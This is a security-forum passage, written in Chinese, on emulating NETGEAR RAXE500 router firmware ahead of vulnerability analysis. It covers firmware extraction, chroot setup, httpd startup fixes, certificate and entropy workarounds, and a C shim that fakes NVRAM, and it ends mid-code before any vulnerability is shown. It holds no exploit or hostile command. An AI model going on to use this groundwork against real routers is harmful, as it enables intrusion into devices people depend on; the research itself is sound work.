[原创]NETGEAR 路由器环境模拟与漏洞分析-IoT安全-看雪安全社区

## 环境配置

版本 : <a href="elink@ee9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2V1L8%4N6F1L8r3!0S2k6s2y4Q4x3X3g2F1k6i4c8Y4k6h3q4J5i4K6u0W2j5$3!0E0i4K6u0r3k6X3W2D9k6i4y4Q4x3V1k6s2c8p5y4Q4x3V1k6d9b7g2S2q4y4e0l9H3i4K6u0r3f1V1q4j5c8e0f1H3x3q4)9J5k6q4j5I4i4K6u0W2x3W2)9J5k6e0p5@1i4K6u0W2x3e0p5@1i4K6g2X3x3W2)9J5k6e0m8Q4x3X3f1$3y4#2)9J5k6i4A6A6M7l9`.`.">Nighthawk AX12 RAXE500 V1.2.14.114_2.0.67</a>

首先 binwalk -e1 RAXE500-V1.2.14.114_2.0.67.chk 解压固件。

```bash
# binwalk -e1 RAXE500-V1.2.14.114_2.0.67.chk

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            Flattened device tree, size: 969 bytes, version: 17
1030          0x406           Flattened device tree, size: 9970 bytes, version: 17
42870         0xA776          CRC32 polynomial table, little endian
703534        0xABC2E         CRC32 polynomial table, little endian

WARNING: Extractor.execute failed to run external extractor 'lzop -f -d '%e'': [Errno 2] No such file or directory: 'lzop', 'lzop -f -d '%e'' might not be installed correctly
761969        0xBA071         LZO compressed data
836250        0xCC29A         HTML document header
836500        0xCC394         HTML document footer
836532        0xCC3B4         HTML document header
837187        0xCC643         HTML document footer
837211        0xCC65B         HTML document header
838626        0xCCBE2         HTML document footer
838650        0xCCBFA         HTML document header
839246        0xCCE4E         HTML document footer
957782        0xE9D56         Flattened device tree, size: 5913 bytes, version: 17
963698        0xEB472         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes
4587594       0x46004A        Flattened device tree, size: 49513 bytes, version: 17
4637110       0x46C1B6        Flattened device tree, size: 49513 bytes, version: 17
4686626       0x478322        Flattened device tree, size: 47694 bytes, version: 17
4734322       0x483D72        Flattened device tree, size: 50144 bytes, version: 17
4784466       0x490152        Flattened device tree, size: 50144 bytes, version: 17
4834610       0x49C532        Flattened device tree, size: 49601 bytes, version: 17
4884214       0x4A86F6        Flattened device tree, size: 49633 bytes, version: 17
4933850       0x4B48DA        Flattened device tree, size: 49557 bytes, version: 17
4983410       0x4C0A72        Flattened device tree, size: 49677 bytes, version: 17
5033090       0x4CCC82        Flattened device tree, size: 47733 bytes, version: 17
5080826       0x4D86FA        Flattened device tree, size: 48647 bytes, version: 17
5129474       0x4E4502        Flattened device tree, size: 48802 bytes, version: 17
5178278       0x4F03A6        Flattened device tree, size: 48802 bytes, version: 17
5227082       0x4FC24A        Flattened device tree, size: 48767 bytes, version: 17
5275850       0x5080CA        Flattened device tree, size: 48767 bytes, version: 17
5324618       0x513F4A        Flattened device tree, size: 48767 bytes, version: 17
5373386       0x51FDCA        Flattened device tree, size: 50605 bytes, version: 17
5423994       0x52C37A        Flattened device tree, size: 50605 bytes, version: 17
5474602       0x53892A        Flattened device tree, size: 50412 bytes, version: 17
5525014       0x544E16        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 78884152 bytes, 3245 inodes, blocksize: 131072 bytes, created: 2025-05-16 08:07:54
```

进入 squashfs-root 目录,运行 sudo chroot . bin/sh 进入固件环境。

```bash
# sudo chroot . bin/sh

BusyBox v1.31.1 (2025-05-16 15:16:50 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ls -la
drwxrwxrwx   22 1000     1000          4096 May 16  2025 .
drwxrwxrwx   22 1000     1000          4096 May 16  2025 ..
-rw-r--r--    1 1000     1000             0 May 16  2025 .init_enable_core
drwxr-xr-x    2 1000     1000          4096 May 16  2025 bin
drwxrwxr-x    3 1000     1000          4096 May 16  2025 data
lrwxrwxrwx    1 1000     1000            16 May 16  2025 debug -> sys/kernel/debug
drwxrwxr-x    3 1000     1000          4096 May 16  2025 dev
drwxr-xr-x   20 1000     1000          4096 May 16  2025 etc
drwxrwxr-x    3 1000     1000          4096 May 16  2025 home
drwxrwxr-x    2 1000     1000          4096 May 16  2025 include
drwxrwxr-x    6 1000     1000         20480 May 16  2025 lib
drwxrwxr-x    3 1000     1000          4096 May 16  2025 lib64
drwxr-xr-x    2 1000     1000          4096 May 16  2025 misc2
drwxr-xr-x    2 1000     1000          4096 May 16  2025 misc3
drwxrwxr-x    2 1000     1000          4096 May 16  2025 mnt
drwxrwxr-x    9 1000     1000          4096 May 16  2025 opt
drwxrwxr-x    2 1000     1000          4096 May 16  2025 proc
drwxr-xr-x    2 1000     1000          4096 May 16  2025 sbin
drwxr-xr-x    6 1000     1000          4096 May 16  2025 share
drwxrwxr-x    3 1000     1000          4096 May 16  2025 sys
lrwxrwxrwx    1 1000     1000             8 May 16  2025 tmp -> /var/tmp
drwxr-xr-x   10 1000     1000          4096 May 16  2025 usr
drwxrwxr-x    2 1000     1000          4096 May 16  2025 var
drwxrwxr-x    3 1000     1000          4096 May 16  2025 webs
drwxr-xr-x   11 1000     1000         32768 May 16  2025 www
#
```

直接运行 usr/sbin/httpd 报错，需要根据 etc/init.d/mount-fs.sh 的脚本命令创建目录运行环境。

```bash
# usr/sbin/httpd

libacos_debug_log build time: Feb 17 2022 18:15:22
****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.

libhttpd build time: Jan 11 2024 09:55:00
/tmp/shm_id opened error!
```

创建目录环境命令:

```bash
# mkdir -p /var/log /var/run /var/state/dhcp /var/ppp /var/udhcpd /var/zebra /var/siproxd /var/cache /var/tmp /var/samba /var/samba/share /var/samba/homes /var/samba/private /var/samba/locks
```

再次运行报错，需要将 /tmp/shm_id 的值修改为0:

```bash
# usr/sbin/httpd

libacos_debug_log build time: Feb 17 2022 18:15:22
****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.

libhttpd build time: Jan 11 2024 09:55:00
segment_id: 5 , in /tmp/shm_id.
 Get a incorrect Segment_ID: 5 and semaphore ID:-1
something wrong in getting shm_id.
```

之后再次运行报错:

```bash
# usr/sbin/httpd

libacos_debug_log build time: Feb 17 2022 18:15:22
****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.

libhttpd build time: Jan 11 2024 09:55:00
segment_id: 0 , in /tmp/shm_id.
 Get a correct Segment_ID: 0 and semaphore ID:0
Can't find handler for ASP command: wlg_cgi_get_isolation_status(0);
Can't find handler for ASP command: wlg_cgi_get_isolation_status(1);
Can't find handler for ASP command: wlg_cgi_get_isolation_status(2);
Can't find handler for ASP command: genie_cgi_need_to_load_basic();
Can't find handler for ASP command: guiCgiInternetStatusGetParam_XUNYOU();
Can't find handler for ASP command: basic_cgi_get_cur_choice_nvram("wan_proto");
Can't find handler for ASP command: eco_get_redirect_link();
Can't find handler for ASP command: attached_devices_cgi_edit_name("ip")
Can't find handler for ASP command: attached_devices_cgi_edit_name("mac")
Can't find handler for ASP command: attached_devices_cgi_edit_name("model")
Can't find handler for ASP command: attached_devices_cgi_edit_name("name")
Can't find handler for ASP command: attached_devices_cgi_edit_name("type")
Can't find handler for ASP command: attached_devices_cgi_edit_name("conndevice")
Can't find handler for ASP command: wlg_cgi_get_isolation_status();
Can't find handler for ASP command: qos_cgi_get_bandwidth("ToSet_qos_bw_uplink");
Can't find handler for ASP command: qos_cgi_support_qos_down_streaming();
Can't find handler for ASP command: qos_cgi_get_bandwidth("AlertMessage");
Can't find handler for ASP command: qos_cgi_get_bandwidth();
Can't find handler for ASP command: qos_cgi_get_mac();
Can't find handler for ASP command: qos_cgi_get_custom_table();
Can't find handler for ASP command: qos_cgi_get_custom_hidden_table();
Can't find handler for ASP command: cdl_cgi_set_hijack(1);
Can't find handler for ASP command: genie_cgi_get_client_type();
Can't find handler for ASP command: 13
Can't find handler for ASP command: wlh_cgi_get_5g2presetssid();
Can't find handler for ASP command: genie_get_5g_2_wireless_security_key();
Can't find handler for ASP command: cdl_cgi_set_hijack(0);
Can't find handler for ASP command: check_is_index()
Can't find handler for ASP command: gui_get_opmode_param("pre_mode");
Can't find handler for ASP command: isPortTrunking("is_ptk_start");
Can't find handler for ASP command: isPortTrunking("is_ptk_end");
# can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
dil init

is_no_boarddata():can't open file /misc2/.bd_data
add active user:, sessionId:0x0, cookie:0
usr/sbin/httpd(pid=4777) is calling shared_acos_nvram_commit:
httpd: socket bound in 255.255.255.255:9443.
httpd: ipv6 socket bound in 80.
Can't open device file: /dev/spiv6
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
```

## 证书配置

GDB 调试发现 tmp_h_c 的值为空，代码如下:

![CERT CODE](upload/attach/202512/920134_47SJCSTPEPE3UKS.webp)

分析代码，需要添加启动参数: /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem

![CERT CODE](upload/attach/202512/920134_ZBZTMV5CGX8DEXX.webp)

再次运行提示生成证书失败:

```bash
# /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem

libacos_debug_log build time: Feb 17 2022 18:15:22
****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.

libhttpd build time: Jan 11 2024 09:55:00
Generating a RSA private key
Error Generating Key
1082140528:error:0E06D06C:lib(14):func(109):reason(108):NA:0:group=req name=default_bits
1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:
1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:
1082140528:error:2406B072:lib(36):func(107):reason(114):NA:0:
1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:
1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:
1082140528:error:2406B072:lib(36):func(107):reason(114):NA:0:
1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:
1082140528:error:2406B072:lib(36):func(107):reason(114):NA:0:
1082140528:error:04081003:lib(4):func(129):reason(3):NA:0:
```

查看 /dev/ 下的设备，因为没有 /dev/random 和 /dev/urandom 导致熵不足引起的，需要将主机的 dev 设备映射到固件目录:

```bash
# sudo mount -o bind /dev ./dev/
```

再次运行就成功了

```bash
# /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem

libacos_debug_log build time: Feb 17 2022 18:15:22

libhttpd build time: Jan 11 2024 09:55:00
Generating a RSA private key
................................................+++++
..............+++++
writing new private key to '/tmp/h.k'
-----

read_board_data():can't open file /misc2/.bd_data

read_board_data():can't open file /misc2/.bd_data
/usr/sbin/httpd(pid=5128) is calling shared_acos_nvram_commit:
segment_id: 0 , in /tmp/shm_id.
 Get a correct Segment_ID: 0 and semaphore ID:0
Can't find handler for ASP command: wlg_cgi_get_isolation_status(0);
Can't find handler for ASP command: wlg_cgi_get_isolation_status(1);
Can't find handler for ASP command: wlg_cgi_get_isolation_status(2);
Can't find handler for ASP command: genie_cgi_need_to_load_basic();
Can't find handler for ASP command: guiCgiInternetStatusGetParam_XUNYOU();
Can't find handler for ASP command: basic_cgi_get_cur_choice_nvram("wan_proto");
Can't find handler for ASP command: eco_get_redirect_link();
Can't find handler for ASP command: attached_devices_cgi_edit_name("ip")
Can't find handler for ASP command: attached_devices_cgi_edit_name("mac")
Can't find handler for ASP command: attached_devices_cgi_edit_name("model")
Can't find handler for ASP command: attached_devices_cgi_edit_name("name")
Can't find handler for ASP command: attached_devices_cgi_edit_name("type")
Can't find handler for ASP command: attached_devices_cgi_edit_name("conndevice")
Can't find handler for ASP command: wlg_cgi_get_isolation_status();
Can't find handler for ASP command: qos_cgi_get_bandwidth("ToSet_qos_bw_uplink");
Can't find handler for ASP command: qos_cgi_support_qos_down_streaming();
Can't find handler for ASP command: qos_cgi_get_bandwidth("AlertMessage");
Can't find handler for ASP command: qos_cgi_get_bandwidth();
Can't find handler for ASP command: qos_cgi_get_mac();
Can't find handler for ASP command: qos_cgi_get_custom_table();
Can't find handler for ASP command: qos_cgi_get_custom_hidden_table();
Can't find handler for ASP command: cdl_cgi_set_hijack(1);
Can't find handler for ASP command: genie_cgi_get_client_type();
Can't find handler for ASP command: 13
Can't find handler for ASP command: wlh_cgi_get_5g2presetssid();
Can't find handler for ASP command: genie_get_5g_2_wireless_security_key();
Can't find handler for ASP command: cdl_cgi_set_hijack(0);
Can't find handler for ASP command: check_is_index()
Can't find handler for ASP command: gui_get_opmode_param("pre_mode");
Can't find handler for ASP command: isPortTrunking("is_ptk_start");
Can't find handler for ASP command: isPortTrunking("is_ptk_end");
# can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
can't open mtd file!!
dil init

is_no_boarddata():can't open file /misc2/.bd_data
add active user:, sessionId:0x0, cookie:0
/usr/sbin/httpd(pid=5145) is calling shared_acos_nvram_commit:
httpd: socket bound in 255.255.255.255:9443.
httpd: ipv6 socket bound in 80.
Can't open device file: /dev/spiv6
cert file /tmp/h.c, key file /tmp/h.k
>>> start to launch lighttpd
killall: lighttpd: no process killed
2025-12-12 08:00:39: (network.c.578) bind() 0.0.0.0:443: Address already in use
```

## NVRAM模拟

虽然 HTTPD 的服务运行成功了，但是网页无法访问，访问的提示如下:

```bash
 is_no_boarddata():can't open file /misc2/.bd_data
add active user:, sessionId:0x0, cookie:0
/usr/sbin/httpd(pid=5145) is calling shared_acos_nvram_commit:
httpd: socket bound in 255.255.255.255:9443.
httpd: ipv6 socket bound in 80.
Can't open device file: /dev/spiv6
cert file /tmp/h.c, key file /tmp/h.k
>>> start to launch lighttpd
killall: lighttpd: no process killed
2025-12-12 08:00:39: (network.c.578) bind() 0.0.0.0:443: Address already in use
===> parse_http_request(3103) isToRouter = 0:return

===> parse_http_request(3103) isToRouter = 0:return

===> parse_http_request(3103) isToRouter = 0:return
```

对应的代码如下:

![NVRAM CODE](upload/attach/202512/920134_GV5S4GQZKEU44R3.webp)

需要从 NVRAM 读取 ddns_hostname 的值，现在需要一个 nvram.ini 文件，和一个模拟 acosNvramConfig_* 的 SO。

在 GITHUB 上有一个 libnvram_faker/conf/netgear/nvram.ini 的配置文件，然后通过 HOOK 来模拟以下的函数:

![NVRAM HOOK](upload/attach/202512/920134_T8TN593F6HYQQDM.webp)

HOOK acosNvramConfig 的 acosNvramConfig.c 代码如下:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>
#include <errno.h>

// 假设配置文件路径
#define ROUTE_CONFIG_PATH "/tmp/route.cfg"
#define MAX_LINE_LENGTH 256
#define MAX_KEY_LENGTH 64
#define MAX_VALUE_LENGTH 128

// 函数声明
char *nvm_get_value(const char *key);
char *nvm_get_value_no_alloc(const char *key, char *buffer, size_t buffer_size);

/**
 * @brief 从配置文件中获取指定键的值（动态分配内存）
 * @param key 要查找的键名
 * @return 成功返回动态分配的字符串（需要调用者释放），失败返回NULL
 */
char *nvm_get_value(const char *key)
{
    FILE *fp;
    char line[MAX_LINE_LENGTH];
    char config_key[MAX_KEY_LENGTH];
    char config_value[MAX_VALUE_LENGTH];
    char *result = NULL;
    int found = 0;
    
    // 参数检查
    if (!key || strlen(key) == 0) {
        fprintf(stderr, "Error: Invalid key parameter\n");
        return NULL;
    }
    
    // 打开配置文件
    fp = fopen(ROUTE_CONFIG_PATH, "r");
    if (fp == NULL) {
        fprintf(stderr, "Error: Cannot open config file %s: %s\n", ROUTE_CONFIG_PATH, strerror(errno));
        return NULL;
    }
    
    // 逐行读取配置文件
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 移除换行符
        line[strcspn(line, "\n")] = '\0';
        
        // 跳过空行和注释
        if (line[0] == '\0' || line[0] == '#') {
            continue;
        }
        
        // 移除行首空白字符
        char *trimmed_line = line;
        while (isspace((unsigned char)*trimmed_line)) {
            trimmed_line++;
        }
        
        // 跳过空行（只有空白字符的行）
        if (*trimmed_line == '\0') {
            continue;
        }
        
        // 解析 key=value 格式
        if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) == 2) {
            // 去除键名可能的尾部空白
            char *trimmed_key = config_key + strlen(config_key) - 1;
            while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
                *trimmed_key = '\0';
                trimmed_key--;
            }
            
            // 去除键值可能的首部空白
            char *trimmed_value = config_value;
            while (isspace((unsigned char)*trimmed_value)) {
                trimmed_value++;
            }
            
            // 去除键值可能的尾部空白
            char *end_value = trimmed_value + strlen(trimmed_value) - 1;
            while (end_value > trimmed_value && isspace((unsigned char)*end_value)) {
                *end_value = '\0';
                end_value--;
            }
            
            // 检查是否匹配请求的键
            if (strcmp(config_key, key) == 0) {
                // 分配内存并复制值
                result = malloc(strlen(trimmed_value) + 1);
                if (result) {
                    strcpy(result, trimmed_value);
                    found = 1;
                } else {
                    fprintf(stderr, "Error: Memory allocation failed\n");
                }
                break; // 找到配置项，退出循环
            }
        }
    }
    
    fclose(fp);
    
    if (!found) {
        // 不打印警告，让调用者决定是否记录
        return NULL;
    }
    
    return result;
}

/**
 * @brief 从配置文件中获取指定键的值（不使用动态分配）
 * @param key 要查找的键名
 * @param buffer 存储结果的缓冲区
 * @param buffer_size 缓冲区大小
 * @return 成功返回缓冲区指针，失败返回NULL
 */
char *nvm_get_value_no_alloc(const char *key, char *buffer, size_t buffer_size)
{
    FILE *fp;
    char line[MAX_LINE_LENGTH];
    char config_key[MAX_KEY_LENGTH];
    char config_value[MAX_VALUE_LENGTH];
    int found = 0;
    
    // 参数检查
    if (!key || strlen(key) == 0 || !buffer || buffer_size == 0) {
        fprintf(stderr, "Error: Invalid parameters\n");
        return NULL;
    }
    
    // 初始化缓冲区
    buffer[0] = '\0';
    
    // 打开配置文件
    fp = fopen(ROUTE_CONFIG_PATH, "r");
    if (fp == NULL) {
        return NULL;
    }
    
    // 逐行读取配置文件
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 移除换行符
        line[strcspn(line, "\n")] = '\0';
        
        // 跳过空行和注释
        if (line[0] == '\0' || line[0] == '#') {
            continue;
        }
        
        // 移除行首空白字符
        char *trimmed_line = line;
        while (isspace((unsigned char)*trimmed_line)) {
            trimmed_line++;
        }
        
        // 跳过空行（只有空白字符的行）
        if (*trimmed_line == '\0') {
            continue;
        }
        
        // 解析 key=value 格式
        if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) == 2) {
            // 去除键名可能的尾部空白
            char *trimmed_key = config_key + strlen(config_key) - 1;
            while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
                *trimmed_key = '\0';
                trimmed_key--;
            }
            
            // 去除键值可能的首部空白
            char *trimmed_value = config_value;
            while (isspace((unsigned char)*trimmed_value)) {
                trimmed_value++;
            }
            
            // 去除键值可能的尾部空白
            char *end_value = trimmed_value + strlen(trimmed_value) - 1;
            while (end_value > trimmed_value && isspace((unsigned char)*end_value)) {
                *end_value = '\0';
                end_value--;
            }
            
            // 检查是否匹配请求的键
            if (strcmp(config_key, key) == 0) {
                // 复制值到缓冲区
                strncpy(buffer, trimmed_value, buffer_size - 1);
                buffer[buffer_size - 1] = '\0';
                found = 1;
                break; // 找到配置项，退出循环
            }
        }
    }
    
    fclose(fp);
    
    if (!found) {
        return NULL;
    }
    
    return buffer;
}

/**
 * @brief 设置NVRAM配置，如果key存在则修改，不存在则添加
 * @param key 配置键名
 * @param value 配置值
 * @return 0成功，-1失败
 */
int acosNvramConfig_set(const char *key, const char *value)
{
    FILE *fp_read, *fp_write;
    char line[MAX_LINE_LENGTH];
    char config_key[MAX_KEY_LENGTH];
    char config_value[MAX_VALUE_LENGTH];
    char temp_file[] = "/tmp/route.cfg.tmp";
    int found = 0;
    int result = 0;
    
    // 参数检查
    if (!key || strlen(key) == 0 || !value) {
        fprintf(stderr, "Error: Invalid key or value parameter\n");
        return 1;
    }
    
    // 验证key不包含等号或换行符
    if (strchr(key, '=') != NULL || strchr(key, '\n') != NULL) {
        fprintf(stderr, "Error: Key contains invalid characters\n");
        return 1;
    }
    
    // 验证value不包含换行符
    if (strchr(value, '\n') != NULL) {
        fprintf(stderr, "Error: Value contains newline character\n");
        return 1;
    }
    
    // 打开原配置文件用于读取
    fp_read = fopen(ROUTE_CONFIG_PATH, "r");
    
    // 创建临时文件用于写入
    fp_write = fopen(temp_file, "w");
    if (fp_write == NULL) {
        fprintf(stderr, "Error: Cannot create temp file: %s\n", strerror(errno));
        if (fp_read) fclose(fp_read);
        return 1;
    }
    
    // 如果原文件存在，逐行处理
    if (fp_read != NULL) {
        while (fgets(line, sizeof(line), fp_read) != NULL) {
            char *trimmed_line = line;
            bool is_comment_or_empty = false;
            
            // 移除换行符
            line[strcspn(line, "\n")] = '\0';
            
            // 跳过空行和注释行（以#开头）
            if (line[0] == '\0' || line[0] == '#') {
                is_comment_or_empty = true;
            }
            
            // 移除行首空白字符
            while (isspace((unsigned char)*trimmed_line)) {
                trimmed_line++;
            }
            
            // 跳过只有空白字符的行
            if (*trimmed_line == '\0') {
                is_comment_or_empty = true;
            }
            
            // 如果是注释或空行，直接写入临时文件
            if (is_comment_or_empty) {
                fprintf(fp_write, "%s\n", line);
                continue;
            }
            
            // 解析 key=value 格式
            if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) >= 1) {
                // 去除键名可能的尾部空白
                char *trimmed_key = config_key + strlen(config_key) - 1;
                while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
                    *trimmed_key = '\0';
                    trimmed_key--;
                }
                
                // 检查是否匹配请求的键
				// fprintf(stderr,"%s=%s\n", config_key, key);
                if (strcmp(config_key, key) == 0) {
					// 找到匹配的键，写入新的值
					fprintf(fp_write, "%s=%s\n", key, value);
					found = 1;
                } else {
                    // 不是我们要修改的键，原样写入
                    fprintf(fp_write, "%s\n", line);
                }
            } else {
                // 格式错误的行，原样写入
                fprintf(fp_write, "%s\n", line);
            }
        }
        
        fclose(fp_read);
    }
    
    // 如果没找到键，在文件末尾添加
    if (!found) {
        fprintf(fp_write, "%s=%s\n", key, value);
    }
    
    // 关闭临时文件
    fclose(fp_write);
    
    // 用临时文件替换原文件
    if (rename(temp_file, ROUTE_CONFIG_PATH) != 0) {
        fprintf(stderr, "Error: Cannot replace config file: %s\n", strerror(errno));
        // 尝试删除临时文件
        remove(temp_file);
        result = 1;
    }
    
    printf("[DEBUG] Setting config: %s = %s\n", key, value);
    return result;
}

/**
 * @brief 从配置文件读取配置值
 * @param key 要获取的配置项键名
 * @return 配置值的字符串指针（动态分配，调用者需释放），失败返回NULL
 */
char *acosNvramConfig_get(const char *key)
{
    char *result = NULL;    
    
    // 参数检查
    if (!key || strlen(key) == 0) {
        fprintf(stderr, "Error: Invalid key parameter\n");
        return NULL;
    }
    
    result = nvm_get_value(key);
    
    // 检查是否获取到有效值
    if (result) {
        printf("[DEBUG] Getting config: %s = %s\n", key, result);
    } else {
		result = "";
        printf("[DEBUG] Config not found: %s\n", key);
    }
    
    return result;
}

/**
 * @brief 检查配置值是否匹配给定值
 * @param key 配置键名
 * @param value 要匹配的值
 * @return true匹配，false不匹配
 */
bool acosNvramConfig_match(const char *key, const char *value)
{
    bool result = false;
    char *config_value = nvm_get_value(key);
    
    if (config_value && value) {
        result = (strcmp(config_value, value) == 0);
    }
    
    printf("[DEBUG] Match config: %s = %s, result: %s\n", 
           key, value, result ? "true" : "false");
    
    if (config_value) {
        free(config_value);
    }
    
    return result;
}

/**
 * @brief 检查配置值是否不匹配给定值
 * @param key 配置键名
 * @param value 要比较的值
 * @return true不匹配，false匹配
 */
bool acosNvramConfig_invmatch(const char *key, const char *value)
{
    bool result = false;
    char *config_value = nvm_get_value(key);
    
    if (config_value && value) {
        result = (strcmp(config_value, value) != 0);
    } else if (!config_value && value) {
        // 配置不存在，与任何值都不匹配
        result = true;
    }
    
    printf("[DEBUG] Invmatch config: %s = %s, result: %s\n", 
           key, value, result ? "true" : "false");
    
    if (config_value) {
        free(config_value);
    }
    
    return result;
}

/**
 * @brief 读取配置值到提供的缓冲区
 * @param key 配置键名
 * @param value 存储配置值的缓冲区
 * @param size 缓冲区大小
 * @return 0成功，-1失败
 */
int acosNvramConfig_read(const char *key, char *value, int size)
{
 // 参数检查
 if (!key || !value || size <= 0) {
 fprintf(stderr, "Error: Invalid parameters\n");
 return 1;
 }
 
 // 清空缓冲区
 value[0] = '\0';
 
 // 获取配置值
 if (nvm_get_value_no_alloc(key, value, size) == NULL) {
		value = "";
 printf("[DEBUG] Read config failed: %s\n", key);
 return 1;
 }
 
 printf("[DEBUG] Read config: %s = %s\n", key, value);
 return 0;
}

/**
 * @brief 将配置值读取为整数
 * @param key 配置键名
 * @param value 存储整数值的指针
 * @param default_value 读取失败时的默认值
 * @return 0成功，-1失败
 */
int acosNvramConfig_readAsInt(const char *key, int *value, int default_value)
{
    char buffer[32];
    char *endptr;
    
    // 参数检查
    if (!key || !value) {
        fprintf(stderr, "Error: Invalid parameters\n");
        return 1;
    }
    
    // 设置默认值
    *value = default_value;
    
    // 获取配置值
    if (nvm_get_value_no_alloc(key, buffer, sizeof(buffer)) == NULL) {
        printf("[DEBUG] ReadAsInt config not found: %s, using default: %d\n", key, default_value);
        return 1;
    }
    
    // 转换为整数
    long int_val = strtol(buffer, &endptr, 10);
    if (*endptr == '\0') {
        *value = (int)int_val;
        printf("[DEBUG] ReadAsInt config: %s = %d\n", key, *value);
        return 0;
    } else {
        printf("[DEBUG] ReadAsInt config invalid format: %s = %s, using default: %d\n", 
               key, buffer, default_value);
        return 1;
    }
}

/**
 * @brief 检查并设置配置值（如果不存在则设置）
 * @param key 配置键名
 * @param value 配置值
 * @return 0成功，-1失败
 */
int acosNvramConfig_check_set(const char *key, const char *value)
{
    // 检查配置是否存在
    char *current_value = nvm_get_value(key);
    
    if (current_value == NULL) {
        // 配置不存在，设置新值
        printf("[DEBUG] CheckSet: %s not exists, setting to: %s\n", key, value);
        free(current_value);
        return acosNvramConfig_set(key, value);
    } else {
        printf("[DEBUG] CheckSet: %s already exists = %s\n", key, current_value);
        free(current_value);
        return 0; // 已存在，返回成功
    }
}

/**
 * @brief 保存配置文件（确保写入磁盘）
 * @return 0成功，-1失败
 */
int acosNvramConfig_save(void)
{
    // 由于我们使用文件系统，通常不需要特别的保存操作
    // 但我们可以调用sync()或fsync()来确保数据写入磁盘
    #ifdef __linux__
        sync();
    #endif
    
    printf("[DEBUG] Save config\n");
    return 0;
}

/**
 * @brief 删除配置项
 * @param key 配置键名
 * @return 0成功，-1失败
 */
int acosNvramConfig_unset(const char *key)
{
    FILE *fp_read, *fp_write;
    char line[MAX_LINE_LENGTH];
    char config_key[MAX_KEY_LENGTH];
    char config_value[MAX_VALUE_LENGTH];
    char temp_file[] = "/tmp/route.cfg.tmp";
    int found = 0;
    int result = 0;
    
    // 参数检查
    if (!key || strlen(key) == 0) {
        fprintf(stderr, "Error: Invalid key parameter\n");
        return 1;
    }
    
    // 打开原配置文件用于读取
    fp_read = fopen(ROUTE_CONFIG_PATH, "r");
    if (fp_read == NULL) {
        // 文件不存在，不需要删除
        printf("[DEBUG] Unset config: %s (file not exists)\n", key);
        return 0;
    }
    
    // 创建临时文件用于写入
    fp_write = fopen(temp_file, "w");
    if (fp_write == NULL) {
        fprintf(stderr, "Error: Cannot create temp file: %s\n", strerror(errno));
        fclose(fp_read);
        return 1;
    }
    
    // 逐行读取原文件
    while (fgets(line, sizeof(line), fp_read) != NULL) {
        char *trimmed_line = line;
        bool is_comment_or_empty = false;
        
        // 移除换行符
        line[strcspn(line, "\n")] = '\0';
        
        // 跳过空行和注释行（以#开头）
        if (line[0] == '\0' || line[0] == '#') {
            is_comment_or_empty = true;
        }
        
        // 移除行首空白字符
        while (isspace((unsigned char)*trimmed_line)) {
            trimmed_line++;
        }
        
        // 跳过只有空白字符的行
        if (*trimmed_line == '\0') {
            is_comment_or_empty = true;
        }
        
        // 如果是注释或空行，直接写入临时文件
        if (is_comment_or_empty) {
            fprintf(fp_write, "%s\n", line);
            continue;
        }
        
        // 解析 key=value 格式
        if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) == 2) {
            // 去除键名可能的尾部空白
            char *trimmed_key = config_key + strlen(config_key) - 1;
            while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
                *trimmed_key = '\0';
                trimmed_key--;
            }
            
            // 检查是否匹配请求的键
            if (strcmp(config_key, key) == 0) {
                // 找到匹配的键，跳过不写入（即删除）
                found = 1;
                continue;
            } else {
                // 不是我们要删除的键，原样写入
                fprintf(fp_write, "%s\n", line);
            }
        } else {
            // 格式错误的行，原样写入
            fprintf(fp_write, "%s\n", line);
        }
    }
    
    // 关闭文件
    fclose(fp_read);
    fclose(fp_write);
    
    // 用临时文件替换原文件
    if (rename(temp_file, ROUTE_CONFIG_PATH) != 0) {
        fprintf(stderr, "Error: Cannot replace config file: %s\n", strerror(errno));
        // 尝试删除临时文件
